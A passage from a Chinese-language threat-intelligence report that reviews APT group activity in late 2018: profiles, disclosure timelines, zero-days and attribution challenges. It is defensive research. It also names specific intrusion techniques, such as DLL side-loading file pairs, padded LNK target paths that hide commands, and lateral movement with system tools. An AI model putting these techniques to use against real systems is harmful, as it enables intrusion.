攻击的攻击组织进行区分，并用于追溯真实的攻击组织实体。
我们结合部分公开对攻击组织的研究成果[2][3] （具体文档内容参见附录链接），提出我们对 APT 攻击组织的一些判别标准：
APT 组织实施的攻击行动具有明确的意图和目的，其表现在每次攻击活动的目标是针对性选择的，攻击最终达到的目标通常与地缘政治、情报活动等相符。
APT 组织实施的攻击活动不仅体现在时间跨度的长久，并且具备延续性，即可能针对多个不同的攻击目标群体和多次分阶段的攻击尝试。由于通常无法看到 APT
组织所有攻击活动的全貌，需要依赖于多个外部情报来源的作证。
APT
组织实施攻击的过程中使用了其特有的战术技术，并往往拥有其特有的攻击工具，即使在后续的攻击活动中攻击者可能选择变换其攻击的手法，但依然会保持过去的一些攻击特征。
在追溯 APT 组织的攻击活动过程中，能够明确追溯到攻击者所在的地域或找到对应真实攻击者身份的虚拟标识信息。
依据上述标准，我们认为历史披露的明确的 APT 攻击组织至少有80个。
### 活跃的国家背景组织
在2018年中360威胁情报中心发布的高级持续性威胁报告中，我们按照区域性划分，介绍了部分 APT 攻击组织，例如APT28、APT29、Lazarus
Group等，这些APT组织在下半年继续保持较为频繁的攻击活动并多次被安全厂商公开披露，我们在这里对其下半年的主要活动情况进行介绍。
1. APT28
APT28组织在下半年继续使用其Zebrocy恶意载荷对全球范围的政府、军队、外交领域的目标人员和机构实施网络间谍活动。
Zebrocy是APT28专用的攻击工具集，主要目的是用作侦察(收集上传系统信息和截屏)和部署下一阶段的攻击载荷，其包含了.NET、AutoIT、Delphi、C++、PowerShell和Go多种语言开发的形态。安全厂商也发现该组织使用新的攻击恶意代码Cannon[64]，其使用邮件协议作为C2的通信方式。
APT28组织下半年的主要攻击活动如下。
披露时间 | 披露来源 | 概述
---|---|---
2018.7.28 | Security Affairs | APT28组织对美国民主党参议员Claire
McCaskill及其工作人员在2018年的竞选连任进行攻击的准备和尝试[65]
2018.9.27 | ESET | ESET发现APT28组织实现的UEFI rootkit攻击巴尔干半岛及中欧和东欧的政府组织。[66]
2018.10.4 | Symantec | 安全厂商对APT28在2017-2018年期间针对欧洲和南美的军队和政府目标攻击活动的披露。[67]
2018.11.20 | ESET |
ESET发现APT28从2018年8月使用了两个新的Zebrocy攻击组件，并用于攻击中亚，东欧和中欧，针对大使馆、外交部、外交官[68]
2018.11.29 | Accenture Security | APT28组织被命名为SNAKEMACKEREL
的攻击行动，英国和荷兰政府都公开将SNAKEMACKEREL活动归功于俄罗斯军事情报局（RIS）[69]
2018.12.12 | Palo Alto Networks |
安全厂商对APT28组织从2018年10月17日到2018年11月15日的多个用于鱼叉邮件攻击的恶意文档的总结分析，其文档作者或修订者的名称均为Joohn
[70]
表 1 APT28组织在2018下半年公开披露的主要活动情况
2. APT29
APT29组织在2018年频繁实施对目标行业和人员的鱼叉式网络钓鱼活动[71][72]，包括针对美国的军事机构、执法、国防承包商、媒体公司、制药公司等。其实施鱼叉攻击用于投放恶意的LNK文件，其中利用了其组织特有的一种LNK文件格式的利用技术[73]。
其执行内嵌的PowerShell脚本命令，并从LNK文件附加的数据中解密释放恶意载荷和诱导的PDF文档文件。
3. Lazarus Group（APT-C-26）
安全厂商对于Lazarus
Group所属的攻击活动的区分开始变得不是特别的明确，部分安全厂商开始采用独立命名的组织名称来识别针对特定地域或者特定行业的攻击活动，我们在年中APT报告中也提及了Lazarus
Group和一些子组织的命名与关系。
FireEye也对其中经济动机的攻击活动归属为新的APT组织代号，即APT38，该组织情况在文章后续会进行介绍。
这里列举了安全厂商披露的和Lazarus Group有关的攻击活动，或者疑似与其有关。
披露时间 | 披露来源 | 概述
---|---|---
2018.8.15 | 360 | 360高级威胁应对团队披露了疑似该组织模仿开源交易软件“Qt Bitcoin Trader”开发了一款名为“Celas
Trade Pro”的数字加密货币交易软件的攻击活动，并同时针对Windows和Mac平台。[74]
2018.8.24 | Check Point | 安全厂商发现命名为Ryuk 的勒索软件的定向攻击，其与HERMES 在代码上保持诸多相似，而HERMES
归属Lazarus [75]
2018.8.28 | Securonix | Securonix安全专家披露Lazarus对印度银行Cosmos
Bank的攻击，其在8月10日-13日造成了超过9.4亿卢比（1350万美元）资金被盗取。[76]
2018.10.2 | US-CERT | 美国DHS发布HIDDEN COBRA 针对ATM攻击的预警[77]
2018.11.20 | Trend Micro |
趋势科技披露Lazarus组织在11月份针对亚洲和非洲的ATM上的攻击，窃取了数百万美元。其也在9月对拉丁美洲的几家金融机构实施了攻击。[78]
2018.12.13 | McAfee | 安全厂商披露攻击行动Operation
Sharpshooter，针对全球的核，防御，能源和金融公司，其植入物疑似来自Lazarus的Duuzer后门代码[79]
表 2 Lazarus Group组织在2018下半年公开披露的主要活动情况
### 值得关注的APT攻击者
除了上述活跃的APT组织外，我们在这里还对其他多个值得关注的 APT 组织情况进行简要的介绍。
1. 肚脑虫（APT-C-35）
肚脑虫，ARBOR NETWORKS也称其为Donot Team
[4]。该组织最早的攻击活动可以追溯到2016年，其主要针对巴基斯坦和克什米尔地区的目标人员。其使用了两种特定的攻击恶意框架，EHDevel和
yty，命名取自恶意代码中的 PDB 路径信息。该组织使用的攻击载荷使用了多种语言开发，包括C++、.NET、Python、VBS和AutoIt。
360威胁情报中心发现了该组织以“克什米尔问题”命名的诱饵漏洞文档并利用了CVE-2017-8570 漏洞[5]，其主要的攻击流程如下图。
后续又发现该组织利用内嵌有恶意宏代码的 Excel文档针对中国境内的巴基斯坦重要商务人士实施的攻击[6]，并向被控主机下发了多种载荷模块文件。
360烽火实验室也发现了该组织针对移动终端的攻击样本，并复用了部分控制基础设施[9]。
下表列举了肚脑虫组织在2018年主要活动的披露情况：
披露时间 | 披露来源 | 概述
---|---|---
2018.3.8 | ARBOR NETWORKS | 安全厂商披露Donot
Team从2018年1月以后使用的新的恶意代码框架yty，用于文件收集、截屏和键盘记录，并用于攻击南亚的目标。[4]
2018.7.26 | 360 | 360威胁情报中心发现伪装成克什米尔问题的漏洞文档。[5]
2018.8.14 | 360 | 360烽火实验室发现一个伪装成克什米尔新闻服务应用的RAT程序，并共用了控制基础设施。[9]
2018.12.12 | 360 | 360威胁情报中心再次发现该组织从2018年5月起针对中国境内的巴基斯坦重要商务人士的持久性攻击活动。[6]
表 3 肚脑虫组织在2018年公开披露的主要活动情况
2. 蔓灵花
蔓灵花，是一个由360命名的 APT 组织，其他安全厂商也称其为
BITTER，该组织同样活跃在南亚地区。该组织最早的攻击活动可以追溯到2013年，并且至今仍旧活跃。该组织主要针对巴基斯坦，360在过去也发现过其针对中国境内目标的攻击活动。
蔓灵花组织主要使用鱼叉邮件攻击，并向目标人员投放漏洞文档文件，其中包括针对 Office
的漏洞文档和InPage文字处理软件的漏洞文档（InPage是一个专门针对乌尔都语使用者即巴基斯坦国语设计的文字处理软件）。
360威胁情报中心重点分析了其利用 InPage
漏洞（CVE-2017-12824）的相关攻击样本和漏洞利用细节[10]，并发现该组织与同样活跃在南亚地区范围的其他 APT 组织的联系。
3. Group 123
Group 123，又称Reaper group，APT37，Geumseong121，Scarcruft。该组织被认为是来自朝鲜的另一个频繁活跃的
APT攻击组织，其最早活跃于2012年，该组织被认为与2016年的Operation Daybreak和Operation Erebus有关。
Group
123组织早期的攻击活动主要针对韩国，2017年后延伸攻击目标至半岛范围，包括日本，越南和中东。其主要针对工业垂直领域，包括化学品、电子、制造、航空航天、汽车和医疗保健实体[11]。360威胁情报中心也曾发现该组织针对中国境内目标的攻击活动。
该组织在过去实施的攻击活动中主要以情报窃取为意图，并呈现出一些其特有的战术技术特点，包括：
同时拥有对 PC（Windows） 和 Android 终端的攻击武器；
对韩国网站实施入侵并作为攻击载荷分发和控制回传渠道，或者使用云盘，如 Yandex、Dropbox 等作为攻击载荷分发和控制回传渠道；
使用 HWP 漏洞对韩国目标人员实施鱼叉攻击[12]。
Group 123组织的相关攻击活动在2018年被频繁披露，下表列举了其公开的主要活动情况。
披露时间 | 披露来源 | 概述
---|---|---
2018.1.16 | Cisco Talos | Talos总结了Group
123组织从2017年到2018年对韩国目标实施的六次攻击行动，包括：Golden Time，Evil New Year，Are you
Happy，FreeMilk，North Korean Human Rights和Evil New Year 2018。[37]
2018.2.1 | ESTsecurity | 利用CVE-2018-4878 Flash Player
0day漏洞对韩国实施鱼叉攻击，其将该组织也称为Geumseong121，后续多家安全厂商对该0day漏洞和攻击细节进行了分析。[38]
2018.2.20 | FireEye | FireEye将其命名为APT37，也称Reaper，并指出其为朝鲜的攻击者。[39]
2018.4.2 | Cisco Talos |
安全厂商对一个虚假的防病毒恶意软件KevDroid的分析[45]，并且多家安全厂商对其相关分析和归属的判断[47][48]。
2018.5.3 | AhnLab | 韩国安全厂商详细披露了该组织在过去的攻击活动分析报告，将其命名为Red Eyes。[40]
2018.5.31 | Cisco Talos |
Talos发现一个针对韩国的恶意HWP文档，其伪装成美国朝鲜首脑会议的韩语标题，并从失陷网站上下载NavRAT。[41]
2018.8.22 | ESTsecurity | 韩国安全厂商披露Operation Rocket
Man，分析了其针对Windows和Android两个平台的攻击活动。[46]
2018.10.1 | Palo Alto Networks |
安全厂商在跟踪分析NOKKI恶意代码家族时，发现其与Reaper组织有关，该恶意代码家族主要以政治动机攻击俄语和柬埔寨语的人员和组织。[42]
2018.11.8 | 360 | 360威胁情报中心发现疑似该组织使用的HWP软件0day样本[12]，后续韩国安全厂商确认了该样本与Operation
Korean Sword行动的联系。[43]
2018.12.13 | ESTsecurity | 韩国安全厂商披露Operation
Blackbird，主要为该组织实施针对移动终端的攻击活动。[44]
表 4 Group 123组织在2018年公开披露的主要活动情况
4. APT38
美国司法部在2018年9月公开披露了一份非常详细的针对朝鲜黑客PARK JIN HYOK及其相关组织Chosun Expo
过去实施的攻击活动的司法指控[8]。在该报告中指出PARK黑客及其相关组织与过去 SONY 娱乐攻击事件，全球范围多个银行 SWIFT 系统被攻击事件，
WannaCry，以及韩国、美国军事人员和机构被攻击的相关事件有关。上述相关事件在过去也多次被国内外安全厂商归属为朝鲜的 APT 组织 Lazarus。
FireEye在后续发布 APT38组织报告[7]，并将以全球金融机构和银行为目标，窃取巨额在线资金为动机的APT 威胁活动归属为
APT38，以区分Lazarus Group。
从美国 DoJ 和 FireEye 的报告中我们也可以看到美国情报机构和安全厂商对 APT 活动的取证和情报溯源的方式，其用于APT
威胁分析溯源的数据留存时间跨度之长和广泛的情报数据积累是其能够回溯到真实世界攻击者身份的基础。
5. Hades
Hades组织，其最早被发现和披露是因为在2017年12月22日针对韩国平昌冬奥会的攻击，其向冬奥会邮箱发送带有恶意附件的鱼叉邮件，投递韩文的恶意文档，并将控制域名伪装为韩国农林部域名地址。
该组织使用了被命名为Olympic Destroyer的恶意代码，其对目标主机系统具有破坏性。其中Olympic Destroyer的代码实现与
Lazarus 使用的破坏性恶意代码存在一些相似性，被认为可能是攻击者刻意引入的 false flag。
Hades 的来源归属到目前为止，依然没有非常明确的定论，结合公开披露的报告，一种来源是可能来自朝鲜，一种被认为和俄罗斯
APT28组织有关[14]。后续安全厂商也发现其新的攻击样本，证明该组织依旧保持活跃[14][15]。
在这里我们也列举了多个安全厂商对Hades组织的活动和攻击武器的主要研究情况。
披露时间 | 披露来源 | 概述
---|---|---
2018.1.6 | McAfee | 安全厂商对韩国平昌奥运会遭受攻击的事件的响应的分析披露[49]。
2018.2.2 | McAfee | McAfee再次披露韩国平昌奥运会攻击事件的相关分析进展并称其为Gold Dragon [50]。
2018.2.25 | SecurityWeek |
华盛顿邮报报道称，俄罗斯军方间谍攻击冬奥会组织者使用的数百台计算机并试图使其看起来像朝鲜的攻击。[51]
2018.2.26 | Cisco Talos | 安全厂商总结冬奥会事件归属问题的分析[52]。
2018.3.8 | Kaspersky | 卡巴斯基对冬奥会攻击事件的分析[53]。
2018.6.19 | Kaspersky | 卡巴斯基发现该组织新的鱼叉攻击活动，并认为其TTP和APT28存在一些相似[54]。
2018.11.15 | Check Point | 安全厂商对其使用的新Dropper程序的分析[55]。
表 5 Hades组织在2018年公开披露的主要活动情况
6. MuddyWater
MuddyWater，也被称为TEMP.Zagros，Seedworm。其最早曝光的攻击活动于2017年，主要针对中东和中亚，实施频繁的网络间谍活动。该组织常用
PowerShell 实现的攻击后门POWERSTATS。
MuddyWater也曾多次向安全研究人员发起“挑衅”[16][17]。
下表列举了该组织在2018年的主要活动情况。
披露时间 | 披露来源 | 概述
---|---|---
2018.3.12 | Trend Micro |
安全厂商发现针对土耳其，巴基斯坦和塔吉克斯坦组织的活动，该活动涉及多个国家的不同行业，主要是在中东和中亚，并且使用了中文字符串的false
flag[56]。
2018.3.13 | FireEye | FireEye认为其是来自伊朗的威胁组织[57]。
2018.6.14 | Trend Micro | 该组织在2017年起针对沙特阿拉伯政府的攻击[58]。
2018.7.20 | 腾讯御见 | 疑似针对土耳其安全相关部门的攻击[59]。
2018.10.10 | Kaspersky | 卡巴斯基对该组织的分析，其主要以伊拉克和沙特阿拉伯的政府为目标，也攻击包括中东，欧洲和美国[60]。
2018.11.28 | ClearSky | 针对黎巴嫩、阿曼的攻击活动[61]。
2018.11.30 | Trend Micro | 针对土耳其的攻击活动，使用了新的PowerShell 后门[62]。
2018.12.11 | Symantec |
赛门铁克安全厂商披露Seedworm（即MuddyWater）从2018年9月开始针对30个组织的130个受害者的攻击活动，其中包括中东、欧洲和北美的政府机构、石油天然气、非政府组织、电信和IT企业[63]。
表 6 MuddyWater组织在2018年公开披露的主要活动情况
## 四. 针对中国境内的APT组织和威胁
截至目前，360威胁情报中心明确的针对中国境内实施攻击活动的，并且依旧活跃的 公开APT 组织，包括海莲花，摩诃草，蔓灵花，Darkhotel，Group
123，毒云藤和蓝宝菇，其中毒云藤和蓝宝菇是360在2018年下半年公开披露并命名的 APT 组织。下面对其中相对活跃的 APT 组织情况进行回顾。
1. 海莲花（APT-C-00）
“海莲花”APT 组织是一个长期针对我国政府、科研院所、海事机构、海域建设、航运企业等领域的 APT 攻击组织，该组织在过去不仅频繁对我国境内实施 APT
攻击，也针对东南亚周边国家实施攻击，包括柬埔寨，越南等。
在2018年中的全球高级持续性威胁报告中，我们总结了该组织使用的攻击战术和技术特点，包括使用开源的代码和公开的攻击工具，如Cobalt
Strike。在下半年对该组织的持续跟踪过程，我们还发现海莲花组织针对柬埔寨和菲律宾的新的攻击活动，并且疑似利用了路由器的漏洞实施远程渗透。[18]相关漏洞首次公开是由维基解密披露的CIA
Vault7项目资料中提及并由国外安全研究人员发布了相关攻击利用代码。并且还关联到该组织在2017年疑似利用永恒之蓝针对国内高校的攻击测试活动。虽然我们无法完全确定海莲花组织利用了上述公开泄露的网络武器库，但结合相关事件发生的时间线和海莲花组织在过去多次使用公开攻击技术实施攻击活动，我们认为其是极有可能的。
“海莲花”在下半年的攻击活动中使用了更加多样化的载荷投放形式，并使用多种白利用技术加载其恶意模块。
白利用技术 | 相关模块名称
---|---
McAfee mcods.exe文件的白利用 | mcvsocfg.dll
Flash.exe的白利用 | UxTheme.dll
针对Google的白利用 | goopdate.dll
Word白利用 | wwlib.dll
360tray.exe的白利用 | dbghelp.dll
表 7 海莲花组织常用的白利用技术
该组织主要的攻击过程如下：
攻击阶段 | 使用技术
---|---
攻击入口 | 利用鱼叉邮件投递漏洞文档，如CVE-2017-11882漏洞文档
初始控制 | 远程下载伪装成图片的PowerShell脚本载荷
利用白利用技术执行核心dll载荷
横向移动 | 主要利用系统命令实现横向移动：
使用nbt.exe进行扫描
net.exe实现IPC用户添加
MsBuild.exe在内网机器上编译生成恶意dll模块并执行
表 8 海莲花组织的攻击过程
除此以外，海莲花在攻击目标的选择上也出现一些变化，其也延伸至金融行业，但暂不明确其主要的攻击动机。
2. 毒云藤（APT-C-01）
毒云藤（APT-C-01），也被国内其他安全厂商称为穷奇、绿斑。该组织从2007年开始至今，对中国国防、政府、科技、教育以及海事机构等重点单位和部门进行了长达11年的网络间谍活动。该组织主要关注军工、中美关系、两岸关系和海洋相关领域。
该组织主要使用鱼叉攻击投放漏洞文档或二进制可执行文件，如下图所示的鱼叉邮件内容。
毒云藤组织主要使用的恶意木马包括Poison Ivy，ZxShell，XRAT等，并使用动态域名，云盘，第三方博客作为其控制回传的基础设施。
3. 蓝宝菇（APT-C-12）
蓝宝菇（APT-C-12）组织最早从2011年开始持续至今，对我国政府、军工、科研、金融等重点单位和部门进行了持续的网络间谍活动。该组织主要关注核工业和科研等相关信息。被攻击目标主要集中在中国大陆境内。在2018年中的高级持续性威胁报告中曾对该组织进行了介绍。
蓝宝菇组织也主要使用鱼叉邮件实施攻击，其投放的文件主要是RLO伪装成文档的可执行文件或LNK格式文件。
该组织主要使用动态域名或IDC IP最为其控制基础设施，后续也常使用AWS
S3、新浪云等云服务作为其上传和托管窃取的数据。其常使用的恶意程序包括Poison Ivy、Bfnet，以及PowerShell实现的后门。
蓝宝菇和毒云藤两个组织从攻击来源属于同一地域，但使用的TTP却存在一些差异。
组织名称 | 毒云藤 | 蓝宝菇
---|---|---
最早攻击活动时间 | 2007年 | 2011年
攻击目标 | 国防、政府、科技、教育以及海事机构 | 政府、军工、科研、金融
攻击入口 | 鱼叉攻击 | 鱼叉攻击
初始载荷 | 漏洞文档或二进制可执行文件 | RLO伪装成文档的可执行文件或LNK格式文件
恶意代码 | Poison Ivy，ZxShell，XRAT | Poison Ivy、Bfnet
PowerShell实现的后门
控制回传 | 动态域名，云盘，第三方博客 | 动态域名或IDC IP
AWS S3、新浪云等云服务
表 9 毒云藤和蓝宝菇TTP对比
4. Darkhotel（APT-C-06）
趋势科技在今年7月公开捕获了又一例VBScript Engine 的在野0day
漏洞（CVE-2018-8373）攻击样本[20]。360威胁情报中心结合内部的威胁情报数据关联到该在野攻击与 Darkhotel
有关[19]，该组织在今年多次利用VBScript Engine的相关0day 漏洞实施在野攻击活动。
该组织的具体攻击流程如下图。
## 五. APT威胁的现状和挑战
2018年，APT威胁的攻防双方处于白热化的博弈当中。作为APT防御的安全厂商比往年更加频繁的跟踪和曝光APT组织的攻击活动，其中包括新的APT组织或APT行动，更新的APT攻击武器和在野漏洞的利用。而APT威胁组织也不再局限于其过去固有的攻击模式和武器，APT组织不仅需要达到最终的攻击效果，还刻意避免被防御方根据留下的痕迹和特征追溯到其组织身份。
APT威胁也不再是APT组织与安全厂商之间独有的“猫和老鼠”的游戏，还作为国家与国家之间博弈以及外交舆论层面的手段。例如美国司法部在2018年就多次公开指控了被认为是他国黑客成员对其本土的网络威胁活动，最为详细的就是指控朝鲜黑客PARK
JIN HYOK 历史涉及的攻击活动[8]，而过去影子经纪人曝光的NSA网络武器库资料，维基解密曝光的Vault
7项目以及卡巴斯基披露的Slingshot攻击行动都被认为与美国本土情报机构有关[21]。
### 多样化的攻击投放方式
1. 文档投放的形式多样化
在过去的APT威胁或者网络攻击活动中，利用邮件投递恶意的文档类载荷是非常常见的一种攻击方式，例如鱼叉邮件攻击，钓鱼邮件或BEC攻击，垃圾邮件攻击。而通常投放的文档大多为Office文档类型，如doc、docx，xls，xlsx。
针对特定地区、特定语言或者特定行业的目标人员攻击者可能投放一些其他的文档类型载荷，例如针对韩国人员投放HWP文档[12]，针对巴基斯坦地区投放InPage文档[10]，或者针对工程建筑行业人员投放恶意的AutoCAD文档[22]等等。
攻击者也可能使用一些其他扩展名的文档类型并同样可以被Office应用打开，如.iqy，虽然其在APT威胁中不是很常见，但已经应用在一些更广泛的垃圾邮件攻击活动中[23]。
2. 利用文件格式的限制
APT攻击者通常会利用一些文件格式和显示上的特性用于迷惑受害用户或安全分析人员。这里以LNK文件为例，LNK文件显示的目标执行路径仅260个字节，多余的字符将被截断，如下图为海莲花使用的LNK文件，其加载一个远程的脚本文件，由于其命令长度小于显示字符长度限制，所以可以直接查看LNK文件执行的命令。
而在跟踪蓝宝菇的攻击活动中[24]，该组织投放的LNK文件在目标路径字符串前面填充了大量的空字符，所以直接查看无法明确其执行的内容，需要解析LNK文件结构获取。
APT29也常用这种方式执行PowerShell脚本[25]。
3. 利用新的系统文件格式特性
2018年6月，国外安全研究人员公开了利用Windows 10下才被引入的新文件类型“.SettingContent-ms”执行任意命令的攻击技巧，并公开了POC。而该新型攻击方式被公开后就立刻被黑客和APT组织纳入攻击武器库用于针对性攻击，并衍生出各种利用方式：诱导执行、利用Office文档执行、利用PDF文档执行。
2018年8月14日，微软发布了针对该缺陷的系统补丁，对应的漏洞编号为CVE-2018-8414。360威胁情报中心随后发布了利用该攻击技术的相关报告，并发现疑似摩诃草和Darkhydrus组织使用该技术的攻击样本[26]。
4. 利用旧的技术实现攻击
一些被认为陈旧而古老的文档特性可以被实现并用于攻击，360威胁情报中心在下半年就针对利用Excel
4.0宏传播商业远控木马的在野攻击样本进行了分析[27]。
该技术最早是于2018年10月6日由国外安全厂商Outflank的安全研究人员首次公开，并展示了使用Excel
4.0宏执行ShellCode的利用代码。Excel
4.0宏是一个很古老的宏技术，微软在后续使用VBA替换了该特性，但从利用效果和隐蔽性上依然能够达到不错的效果。
从上述总结的多样化的攻击投放方式来看，攻击者似乎在不断尝试发现在邮件或终端侧检测所覆盖的文件类型下的薄弱环节，从而逃避或绕过检测。
### 0day 漏洞和在野利用攻击
0day漏洞一直是作为APT组织实施攻击所依赖的技术制高点，在这里我们回顾下2018年下半年主要的0day漏洞和相关APT组织使用0day漏洞实施的在野利用攻击活动。
漏洞编号 | 漏洞类型 | 披露厂商 | 相关APT组织
---|---|---|---
CVE-2018-8453 | Windows提权漏洞 | 卡巴斯基 | FruityArmor[29]
CVE-2018-8242 | VBS Engine漏洞 | 360[30] | 无
CVE-2018-8611 | Windows提权漏洞 | 卡巴斯基[31] | FruityArmor、SandCat
CVE-2018-8373 | VBS Engine漏洞 | 趋势科技[32] | Darkhotel
无 | HWP未公开漏洞 | 360威胁情报中心[12] | Group 123
CVE-2018-15982 | Flash漏洞 | 360[28] | 未知
CVE-2018-8440 | ALPC提权漏洞 | ESET[33] | PowerPool
无 | 韩国相关ActiveX控件漏洞 | IssueMakersLab | Andariel Group[34][35]
表 10 2018下半年APT组织使用的0day漏洞
360多个安全团队在下半年再一次发现Flash 0day漏洞的在野攻击样本并获得Adobe致谢[28]，这是360今年第二次首先捕获到Flash
0day漏洞的在野样本并获得致谢。
### APT 威胁活动归属面临的挑战
APT威胁活动的归属分析一直是APT威胁分析中最为重要的一个环节，目前APT活动的归属分析，主要的判断依据包括以下几点：
1. APT组织使用的恶意代码特征的相似度，如包含特有的元数据，互斥量，加密算法，签名等等。
2. APT组织历史使用控制基础设施的重叠，本质即pDNS和whois数据的重叠。
3. APT组织使用的攻击TTP。
4. 结合攻击留下的线索中的地域和语言特征，或攻击针对的目标和意图，推测其攻击归属的APT组织。
5. 公开情报中涉及的归属判断依据。
但APT攻击者会尝试规避和隐藏攻击活动中留下的与其角色相关的线索，或者通过false
flag和模仿其他组织的特征来迷惑分析人员。针对韩国平昌奥运会的攻击组织Hades就是一个最好的说明。
360威胁情报中心在下半年的两篇分析报告中[10][36]，就对活跃在南亚地区的多个APT组织间使用的TTP存在重叠。
组织名称 | 蔓灵花（BITTER） | 摩诃草（PatchWork） | Confucius | Bahamut
---|---|---|---|---
攻击目标 | 中国，巴基斯坦 | 中国，巴基斯坦为主 | 南亚 | 南亚（主要巴基斯坦），中东
攻击平台 | PC/Android | PC/Android | PC/Android | PC/Android/iOS
恶意代码实现 | C | Delphi/C# | Delphi | Delphi/VB
攻击入口 | 鱼叉攻击 | 社交网络，鱼叉攻击 | 社交网络 | 社交网络，鱼叉攻击
表 11 APT组织TTP对比
### APT 威胁的演变趋势
从2018年的APT威胁态势来看，我们推测APT威胁活动的演变趋势可能包括如下：
1. APT组织可能发展成更加明确的组织化特点，例如小组化，各个攻击小组可能针对特定行业实施攻击并达到特定的攻击目的，但其整体可能共享部分攻击代码或资源。
2. APT组织在初期的攻击尝试和获得初步控制权阶段可能更倾向于使用开源或公开的攻击工具或系统工具，对于高价值目标或维持长久性的控制才使用其自身特有的成熟的攻击代码。
3. APT组织针对的目标行业可能进一步延伸到一些传统行业或者和国家基础建设相关的行业和机构，随着这些行业逐渐的互联化和智能化可能带来的安全防御上的弱点，以及其可能面临的供应链攻击。
4. APT组织进一步加强0day漏洞能力的储备，并且可能覆盖多个平台，包括PC，服务器，移动终端，路由器，甚至工控设备等。
## 总 结
在2018年中的高级持续性威胁报告中，我们以地缘政治下的APT威胁角度对全球高级威胁活动进行了总结，并且对比了部分活跃APT组织所常用的攻击战术技术特点，可以看到APT威胁活动往往和国与国间的政治外交关系存在某些联系。所以在对APT组织的研究和防御过程中，需要更加明确所面临的对手。
在此报告中，我们结合自身对APT组织研究的结果，对APT组织的区分和特点提出了更加明确的定义标准，也对其他研究APT威胁的安全团队表达我们的一些观点，以供安全社区参考。
我们也应该看到，高级威胁活动不完全只是国家背景APT组织的专属，科研机构、大学、医疗机构、工业制造业以及国家基础建设相关的行业和机构都有可能成为APT组织的直接目标，或者是作为其达到整个攻击行动目的中某个攻击阶段的目标。我们需要明确，APT组织是极具有耐心的，其会不断投入资源以达到最初始设定的攻击目的。
### 1\. 360威胁情报中心
360威胁情报中心由全球最大的互联网安全公司奇虎360特别成立，是中国首个面向企业和机构的互联网威胁情报整合专业机构。该中心以业界领先的安全大数据资源为基础，基于360长期积累的核心安全技术，依托亚太地区顶级的安全人才团队，通过强大的大数据能力，实现全网威胁情报的即时、全面、深入的整合与分析，为企业和机构提供安全管理与防护的网络威胁预警与情报。
360威胁情报中心对外服务平台网址为<https://ti.360.net/>。服务平台以海量多维度网络空间安全数据为基础，为安全分析人员及各类企业用户提供基础数据的查询，攻击线索拓展，事件背景研判，攻击组织解析，研究报告下载等多种维度的威胁情报数据与威胁情报服务。
微信公众号：360威胁情报中心
### 2\. 360追日团队（Helios Team）
360 追日团队（Helios
Team）是360公司高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，通过整合360公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现并追踪了三十余个APT组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。
联系方式
邮箱：[[email protected]](mailto:[email protected])
微信公众号：360追日团队
3. 360高级威胁应对团队
360高级威胁应对团队（360 Advanced Threat Response
Team）专注于0day漏洞等高级威胁攻击的应急响应团队，研究领域涵盖高级威胁沙箱检测技术，0day漏洞探针技术以及高级威胁攻击追踪还原等。代表中国安全厂商在全球范围内率先捕获并应急响应了多个在野0day攻击，填补了国内在0day漏洞在野攻击应急响应方面的空白，保护了大量的用户和企事业单位免受高级威胁攻击。
## 附录 参考链接
1\. <https://ti.360.net/blog/>
2\. <https://github.com/MISP/misp-galaxy/blob/master/clusters/threat-actor.json>
3\. <https://attack.mitre.org/groups/>
4\. <https://asert.arbornetworks.com/donot-team-leverages-new-modular-malware-framework-south-asia/>
5\. <https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/>
6\. <https://ti.360.net/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-china/>
7\. <https://www.fireeye.com/blog/threat-research/2018/10/apt38-details-on-new-north-korean-regime-backed-threat-group.html>
8\. <https://www.justice.gov/opa/press-release/file/1092091/download>
9\. <https://ti.360.net/blog/articles/analysis-of-donot-andriod-sample/>
10\. <https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups/>
11\. <https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf>
12\. <https://ti.360.net/blog/articles/analysis-of-group123-sample-with-hwp-exploitkit/>
13\. <https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/>
14\. <https://securelist.com/olympic-destroyer-is-still-alive/86169/>
15\. <https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>
16\. <https://securelist.com/kaspersky-security-bulletin-2018-top-security-stories/89118/>
17\. <https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/>
18\. <https://ti.360.net/blog/articles/oceanlotus-targets-chinese-university/>
19\. <https://ti.360.net/blog/articles/analyzing-attack-of-cve-2018-8373-and-darkhotel/>
20\. <https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/>
21\. <https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/>
22\. <https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft>
23\. <https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/>
24\. <https://ti.360.net/blog/articles/details-of-apt-c-12-of-operation-nuclearcrisis/>
25\. <https://blog.yoroi.company/research/new-cozy-bear-campaign-old-habits/>
26\. <https://ti.360.net/blog/articles/analysis-of-settingcontent-ms-file/>
27\. <https://ti.360.net/blog/articles/excel-macro-technology-to-evade-detection/>
28\. <https://ti.360.net/blog/articles/flash-0day-hacking-team-rat-activities-of-exploiting-latest-flash-0day-vulnerability-and-correlation-analysis/>
29\. <https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/>
30\. <http://blogs.360.cn/post/from-a-patched-itw-0day-to-remote-code-execution-part-i-from-patch-to-new-0day.html>
31\. <https://securelist.com/zero-day-in-windows-kernel-transaction-manager-cve-2018-8611/89253/>
32\. <https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/>
33\. <https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/>
34\. <http://www.issuemakerslab.com/research3/>
